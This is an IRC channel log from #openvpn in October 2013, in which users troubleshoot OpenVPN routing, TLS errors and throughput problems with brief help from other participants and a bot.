17:40 -!- AginLap_ is now known as AginLap
17:43 -!- memand [~memand@0119600834.0.fullrate.dk] has quit [Ping timeout: 272 seconds]
17:46 < hjohnson> also you might want to be careful of how much entropy you have available
17:47 < AginLap> :o
17:57 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Quit: l8]
18:01 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Operation timed out]
18:04 -!- memand [~memand@0119600834.0.fullrate.dk] has joined #openvpn
18:05 < memand> Does any of you have any idea how to set up TUN/TAP forwarding on osx?
18:08 -!- atmosx [~osx@217.70.broadband4.iol.cz] has joined #openvpn
18:11 < memand> I'm trying to make a setup where one machine on client network 1 connects to the VPN and I have set up the iroute in the ccd dir and route in the server.conf plus client-to-client and push "route ..."
18:12 < memand> But when I try to ping the VPN server at it's VPN address I get nothing
18:12 < memand> (ping from a different computer on cn1 that is)
18:13 < memand> I suspect that it might be because I haven't set up TUN/TAP forwarding on the client shich is a mac
18:13 < memand> *which
18:16 < atmosx> memand: I use Viscosity as a mac client and I'm really happy with it.
18:16 < atmosx> it's commercial but hassle-free really.
18:16 -!- atmosx [~osx@217.70.broadband4.iol.cz] has quit [Quit: Lost in trance]
18:16 < memand> ...
18:18 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:20 < memand> .
18:21 < memand> .
18:44 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
18:45 < memand> Damn, I made a stupid
18:46 < memand> I did 'ifconfig en0 promisc' on the client machine and now it has locked me out and I can't get in the same room as it untill in the morning
18:46 < memand> I guess it's time to sleep
18:46 < hjohnson> oops
18:46 < hjohnson> I hae it when i do shit like that
18:46 < memand> yup
18:47 < memand> facepalms where had
18:52 -!- jerryc [~pppingme@cpe-24-94-191-245.kc.res.rr.com] has joined #openvpn
18:52 -!- jerryc [~pppingme@cpe-24-94-191-245.kc.res.rr.com] has quit [Read error: Connection reset by peer]
19:25 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
19:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:36 -!- raidz is now known as raidz_away
19:39 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
19:51 -!- davidmp [~davidmp@149.255.100.107] has joined #openvpn
19:51 < davidmp> Wheree is the openvpn binary at on debian?
19:52 < davidmp> lol
19:53 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
19:53 < davidmp> It might be on the RPi I can't find the binary
19:55 < davidmp> client*
19:57 -!- AginLap [~AginLap@109.201.154.178] has quit [Quit: Leaving]
20:21 < rob0> it's probably /usr/sbin/openvpn
20:21 < EugeneKay> man whereis
20:32 -!- xrosnight [~quassel@119.137.33.156] has joined #openvpn
20:37 -!- xrosnight [~quassel@119.137.33.156] has quit [Changing host]
20:37 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
20:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
20:42 -!- aixenv [~aixenv@cpe-76-172-63-171.socal.res.rr.com] has joined #openvpn
20:43 -!- aixenv [~aixenv@cpe-76-172-63-171.socal.res.rr.com] has quit [Client Quit]
20:45 -!- stevejones23 [~stevejone@cpe-76-172-63-171.socal.res.rr.com] has joined #openvpn
20:46 -!- stevejones23 [~stevejone@cpe-76-172-63-171.socal.res.rr.com] has quit [Client Quit]
21:00 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 240 seconds]
21:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao]
21:06 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 246 seconds]
21:08 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
21:13 -!- fling [~fling@fsf/member/fling] has joined #openvpn
21:20 -!- klaxa [~klaxa@klaxa.eu] has quit [Quit: May Luna watch over me.]
21:21 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
21:21 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 245 seconds]
21:23 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
21:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Operation timed out]
21:39 -!- master_o1_master [~master_of@p4FF243DF.dip0.t-ipconnect.de] has joined #openvpn
21:43 -!- master_of_master [~master_of@p4FF244D7.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
21:54 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 265 seconds]
22:01 -!- stevejones23 [~stevejone@cpe-76-172-63-171.socal.res.rr.com] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:05 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
22:08 -!- Linmu [~Linmu@203.70.194.104] has quit [Client Quit]
22:09 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
22:54 -!- stevejones23 [~stevejone@cpe-76-172-63-171.socal.res.rr.com] has quit [Quit: ircII EPIC5-1.1.2 -- Are we there yet?]
23:10 -!- davidmp [~davidmp@149.255.100.107] has quit [Quit: Cya suckers!]
23:14 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
23:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
23:20 -!- davidmp [~davidmp@149.255.100.107] has joined #openvpn
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:36 -!- David_ [~David@c-98-244-21-109.hsd1.ca.comcast.net] has joined #openvpn
23:36 < David_> woo
23:36 -!- David_ [~David@c-98-244-21-109.hsd1.ca.comcast.net] has quit [Client Quit]
--- Day changed Sat Oct 19 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:10 -!- fetcherrr [~fetcherr@173-86-11-221.dr01.wlbr.pa.frontiernet.net] has joined #openvpn
00:11 < fetcherrr> can someone give me a hand with a error im getting while trying to start openvpn service?
00:35 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Read error: Connection reset by peer]
00:35 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
00:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
00:37 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
00:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
00:37 -!- mode/#openvpn [+o vpnHelper] by ChanServ
00:40 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
01:04 -!- fetcherrr [~fetcherr@173-86-11-221.dr01.wlbr.pa.frontiernet.net] has left #openvpn []
01:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
02:02 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
02:03 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
02:14 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
02:17 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
02:28 -!- ccha2 [~ccha@unaffiliated/ccha] has quit [Remote host closed the connection]
02:28 -!- ccha [~ccha@unaffiliated/ccha] has joined #openvpn
02:34 -!- gallatin [~gallatin@dslb-084-058-111-234.pools.arcor-ip.net] has joined #openvpn
02:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
02:50 -!- mode/#openvpn [+o dazo_afk] by ChanServ
02:50 -!- dazo_afk is now known as dazo
03:03 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
03:04 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
03:11 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving]
03:15 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
03:40 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:48 -!- B-Minus [~B-Minus@d54C0D99F.access.telenet.be] has joined #openvpn
03:48 < B-Minus> hi all
03:49 < B-Minus> can i ask a technical question in here ?
03:50 -!- B-Minus [~B-Minus@d54C0D99F.access.telenet.be] has quit [Read error: Connection reset by peer]
03:50 -!- B-Minus [~B-Minus@d54C0D99F.access.telenet.be] has joined #openvpn
03:50 < B-Minus> hmm
03:50 < B-Minus> !welcome
03:50 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
03:50 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
03:52 < B-Minus> Hi all, Im using Tomatousb with openvpn together with my iphone and it works very good, i can access my home network etc ... the only problem I have is with an application on the iphone (Yelo Tv) which is a program from my ISP to watch live TV but it requires you to be on their (my home) network. the program tells me Im not om their network when i start the app :((
03:53 < B-Minus> The only thing I "configured" with openvpn is "push lan to clients"
03:54 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
04:11 -!- B-Minus [~B-Minus@d54C0D99F.access.telenet.be] has quit []
04:18 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
04:23 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:24 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
04:27 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
04:44 -!- xeqution [~z6@unaffiliated/z6] has quit [Ping timeout: 260 seconds]
04:44 < memand> Hey guys, I'm getting an error on the server side when my client connects that looks like this: "TLS Error: Incomming packet authentication failed from [AF_INET] ip:port"
04:44 < memand> I've tried googleing it a bit but I did not find anything usefull/informative on it
04:45 < memand> But maybe my google-fu is failing me (I just woke up)
04:46 < memand> btw, the port number keeps changing
04:53 < memand> nvm. Apparently the openvpn process did not get killed propperly when I did Ctrl+C so I had multiple instances of the client running on the same machine
04:53 < memand> Getting real tired of this OSX shit
04:56 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:58 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:05 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
05:08 -!- idkk [~idkk@2001:1938:81:82e1:41ed:2b1b:ba:235b] has joined #openvpn
05:10 -!- idkk [~idkk@2001:1938:81:82e1:41ed:2b1b:ba:235b] has quit [Client Quit]
05:14 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
05:16 < memand> Ok, this is my server conf http://sprunge.us/cEVi and this is my client conf http://sprunge.us/XJOg and I have the ccd dir and the iroute thing set up (I think) correctly and I have set ip forwarding and promiscous mode on the client and the server as explained here https://wiki.archlinux.org/index.php/OpenVPN#Prerequisites_for_routing_a_LAN
05:16 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
05:17 < memand> Whe I connect the client I can not ping the servers VPN ip
05:17 < memand> ?_? ?_?
05:18 < memand> I have been banging my head against this for two days now, so some help would be really appreciated :)
05:21 < memand> BTW I have moved the client settup to a linux box because I could not get promiscous mode working on the osx box
05:36 -!- AginLap [~AginLap@109.201.154.145] has joined #openvpn
05:44 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
05:49 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
05:51 -!- trumee [~parul@93.186.148.255] has quit [Ping timeout: 272 seconds]
05:57 -!- trumee [~parul@93.186.148.255] has joined #openvpn
06:09 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has joined #openvpn
06:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 268 seconds]
06:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:12 -!- trumee [~parul@93.186.148.255] has quit [Read error: Connection reset by peer]
06:17 -!- trumee [~parul@149.12.7.18] has joined #openvpn
06:33 -!- gallatin [~gallatin@dslb-084-058-111-234.pools.arcor-ip.net] has quit [Quit: Client exiting]
06:45 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Remote host closed the connection]
06:46 < rob0> Promiscuous? Why?
06:52 < rob0> Ctrl+C won't kill openvpn if --daemon is used.
06:52 < rob0> That only works if you're running it in the foreground.
07:19 -!- zhxk [~zhxk~@60.180.19.108] has joined #openvpn
07:19 -!- zhxk [~zhxk~@60.180.19.108] has left #openvpn ["Leaving"]
07:19 -!- zhxk [~zhxk~@60.180.19.108] has joined #openvpn
07:23 -!- DrFoo_ [~DrFoo@c-76-23-208-102.hsd1.ct.comcast.net] has joined #openvpn
07:26 -!- Shinobi [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Ping timeout: 240 seconds]
07:38 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
07:40 -!- AginLap [~AginLap@109.201.154.145] has quit [Ping timeout: 248 seconds]
07:44 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
07:46 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:49 -!- AginLap [~AginLap@109.201.154.141] has joined #openvpn
07:51 -!- zhxk [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
07:53 -!- zhxk [~zhxk~@173.254.227.32] has joined #openvpn
08:04 -!- namidark [~namidark@192.34.61.38] has quit [Read error: Operation timed out]
08:05 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
08:06 -!- Ahrotahntee [~rhjones@unaffiliated/ahrotahntee] has quit [Ping timeout: 256 seconds]
08:06 -!- thalweg [~quassel@198.211.102.196] has quit [Ping timeout: 268 seconds]
08:07 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds]
08:07 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 272 seconds]
08:07 -!- Ronoclaf [falconor@pool-71-191-134-161.washdc.fios.verizon.net] has joined #openvpn
08:08 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
08:08 -!- riddle [riddle@us.yunix.net] has joined #openvpn
08:10 -!- zhxk^ [~zhxk~@216.158.84.91] has joined #openvpn
08:11 -!- zhxk [~zhxk~@173.254.227.32] has quit [Ping timeout: 248 seconds]
08:11 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
08:12 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has quit [Ping timeout: 240 seconds]
08:12 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
08:13 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has joined #openvpn
08:13 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has quit [Read error: Connection reset by peer]
08:26 -!- trumee [~parul@149.12.7.18] has quit [Read error: Connection reset by peer]
08:27 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:27 -!- trumee [~parul@149.12.7.18] has joined #openvpn
08:29 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
08:30 -!- zhxk^ [~zhxk~@216.158.84.91] has quit [Read error: Connection reset by peer]
08:31 -!- zhxk^ [~zhxk~@173-252-250-60.myecteam.com] has joined #openvpn
08:34 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 245 seconds]
08:50 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
08:52 -!- zhxk^ [~zhxk~@173-252-250-60.myecteam.com] has quit [Read error: Connection reset by peer]
08:52 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
08:52 -!- zhxk^ [~zhxk~@173-252-250-60.myecteam.com] has joined #openvpn
08:55 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 240 seconds]
09:07 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 248 seconds]
09:09 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
09:11 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
09:12 -!- klein [~klein@187.85.186.168] has joined #openvpn
09:12 -!- klein [~klein@187.85.186.168] has quit [Changing host]
09:12 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:15 -!- zhxk [~zhxk~@198.199.107.115] has joined #openvpn
09:15 -!- zhxk^ [~zhxk~@173-252-250-60.myecteam.com] has quit [Ping timeout: 248 seconds]
09:17 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 272 seconds]
09:22 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:24 -!- Pei [~pei@209.148.95.237] has joined #openvpn
09:25 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 252 seconds]
09:26 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
09:26 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:30 -!- nitram_ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has joined #openvpn
09:32 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
09:35 -!- nitram_ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has quit [Remote host closed the connection]
09:35 -!- zhxk^ [~zhxk~@199.71.213.13] has joined #openvpn
09:35 -!- jeev [~j@unaffiliated/jeev] has quit [Ping timeout: 245 seconds]
09:36 -!- zhxk [~zhxk~@198.199.107.115] has quit [Read error: Connection reset by peer]
09:37 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
09:46 -!- bogie [bogie@2001:4ba0:fffd:65::101] has quit [Ping timeout: 245 seconds]
09:53 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
09:57 -!- zhxk [~zhxk~@199.71.213.13] has joined #openvpn
09:57 -!- zhxk^ [~zhxk~@199.71.213.13] has quit [Ping timeout: 240 seconds]
09:59 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 272 seconds]
10:15 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
10:17 -!- Ronoclaf [falconor@pool-71-191-134-161.washdc.fios.verizon.net] has quit [Read error: Operation timed out]
10:17 -!- zhxk^ [~zhxk~@192.184.90.88] has joined #openvpn
10:17 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
10:19 -!- zhxk [~zhxk~@199.71.213.13] has quit [Ping timeout: 272 seconds]
10:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:19 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 240 seconds]
10:21 -!- bogie [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
10:25 -!- elfixit [~Icedove@adsl-178-38-122-123.adslplus.ch] has joined #openvpn
10:36 -!- zhxk^ [~zhxk~@192.184.90.88] has quit [Read error: Connection reset by peer]
10:36 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
10:38 -!- elfixit [~Icedove@adsl-178-38-122-123.adslplus.ch] has quit [Ping timeout: 240 seconds]
10:38 -!- zhxk^ [~zhxk~@23.88.3.147] has joined #openvpn
10:39 -!- elfixit [~Icedove@adsl-178-38-122-123.adslplus.ch] has joined #openvpn
10:41 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
10:57 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
11:00 -!- zhxk [~zhxk~@178.18.26.115] has joined #openvpn
11:00 -!- zhxk^ [~zhxk~@23.88.3.147] has quit [Ping timeout: 248 seconds]
11:01 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 240 seconds]
11:02 -!- elfixit [~Icedove@adsl-178-38-122-123.adslplus.ch] has quit [Ping timeout: 240 seconds]
11:09 -!- Awesomator [~Awesomato@ovh.caelian.net] has joined #openvpn
11:09 -!- Awesomator [~Awesomato@ovh.caelian.net] has quit [Client Quit]
11:18 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
11:20 -!- zhxk^ [~zhxk~@23.88.3.147] has joined #openvpn
11:21 -!- memand [~memand@0119600834.0.fullrate.dk] has quit [Quit: WeeChat 0.4.1]
11:22 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
11:22 -!- zhxk [~zhxk~@178.18.26.115] has quit [Ping timeout: 248 seconds]
11:23 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 240 seconds]
11:28 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 272 seconds]
11:29 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:35 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
11:37 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 272 seconds]
11:37 -!- Ronoclaf [~Falconor@magnetvpn.net] has joined #openvpn
11:38 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
11:39 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
11:42 -!- zhxk [~zhxk~@216.158.84.91] has joined #openvpn
11:44 -!- zhxk^ [~zhxk~@23.88.3.147] has quit [Ping timeout: 272 seconds]
11:44 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 240 seconds]
11:45 -!- Ronoclaf [~Falconor@magnetvpn.net] has quit [Ping timeout: 245 seconds]
11:46 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
11:46 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
11:46 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Remote host closed the connection]
11:49 < ludde> why do i get only 36Mbit/s between two windows computers with openvpn? without openvpn i get 912Mbits
11:50 -!- jeev [~j@unaffiliated/jeev] has quit [Ping timeout: 245 seconds]
11:53 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
11:55 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 272 seconds]
12:00 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
12:01 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
12:02 < EugeneKay> !gigabit
12:02 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
12:02 < EugeneKay> Because encryption.
12:03 -!- zhxk^ [~zhxk~@198.167.139.134] has joined #openvpn
12:04 < ludde> EugeneKay: well it's not  actually using very much cpu
12:04 -!- zhxk [~zhxk~@216.158.84.91] has quit [Ping timeout: 256 seconds]
12:05 < EugeneKay> openvpn is single-threaded, so it may very well be using a whole core
12:05 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
12:08 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 248 seconds]
12:08 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
12:09 < ludde> EugeneKay: when I run with cipher none auth none I still get only 34MBits/s
12:10 < ludde> [284] local 10.4.0.1 port 41718 connected with 10.4.0.2 port 5001
12:10 < ludde> [ ID] Interval       Transfer     Bandwidth
12:10 < ludde> [284]  0.0-10.0 sec  40.5 MBytes  33.9 Mbits/sec
12:10 < ludde> this is what I get without the tunnel: [284]  0.0-10.0 sec  1.10 GBytes   943 Mbits/sec
12:11 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 272 seconds]
12:16 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
12:17 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 248 seconds]
12:21 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
12:23 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
12:24 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
12:25 -!- zhxk [~zhxk~@198.55.106.23] has joined #openvpn
12:25 -!- zhxk^ [~zhxk~@198.167.139.134] has quit [Read error: Connection reset by peer]
12:27 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
12:28 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 272 seconds]
12:29 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
12:30 -!- HelloWorld [~Awesomato@dynamic-78-8-116-84.ssp.dialog.net.pl] has joined #openvpn
12:38 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:39 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
12:39 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
12:39 -!- szr- is now known as szr
12:42 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
12:45 -!- zhxk^ [~zhxk~@198.167.139.134] has joined #openvpn
12:46 -!- zhxk [~zhxk~@198.55.106.23] has quit [Ping timeout: 241 seconds]
12:46 < ludde> EugeneKay: I made my own VPN client/server and then I see this performance: [284]  0.0-10.0 sec   205 MBytes   172 Mbits/sec
12:47 < ludde> EugeneKay: so maybe there's something fundamentally broken in the way openvpn talks to Windows sockets.
12:47 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 240 seconds]
12:47 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
12:48 < ludde> EugeneKay: (this is also unencrypted, and with UDP)
12:48 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
12:49 -!- xTz [xtz@93.152.157.35] has quit [Remote host closed the connection]
12:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
13:04 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
13:05 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 248 seconds]
13:07 -!- zhxk^ [~zhxk~@198.167.139.134] has quit [Ping timeout: 245 seconds]
13:08 -!- zhxk^ [~zhxk~@178.18.26.115] has joined #openvpn
13:08 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
13:12 -!- HelloWorld [~Awesomato@dynamic-78-8-116-84.ssp.dialog.net.pl] has quit [Quit: RUN FOR YOUR LIVES!]
13:14 -!- elfixit [~Icedove@adsl-178-38-122-123.adslplus.ch] has joined #openvpn
13:17 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:25 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
13:28 -!- zhxk^ [~zhxk~@178.18.26.115] has quit [Ping timeout: 240 seconds]
13:29 -!- zhxk^ [~zhxk~@198.199.107.115] has joined #openvpn
13:29 -!- elfixit [~Icedove@adsl-178-38-122-123.adslplus.ch] has quit [Ping timeout: 240 seconds]
13:30 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
13:36 -!- Falconor [~Falconor@magnetvpn.net] has quit [Read error: Operation timed out]
13:39 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
13:46 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
13:49 -!- zhxk [~zhxk~@173-252-253-154.genericreverse.com] has joined #openvpn
13:50 -!- zhxk^ [~zhxk~@198.199.107.115] has quit [Ping timeout: 248 seconds]
13:51 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 240 seconds]
13:53 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
13:54 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 245 seconds]
13:55 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
14:04 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 256 seconds]
14:05 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
14:07 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
14:10 -!- zhxk^ [~zhxk~@178.18.26.115] has joined #openvpn
14:10 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 248 seconds]
14:11 -!- zhxk [~zhxk~@173-252-253-154.genericreverse.com] has quit [Ping timeout: 240 seconds]
14:11 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
14:12 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 265 seconds]
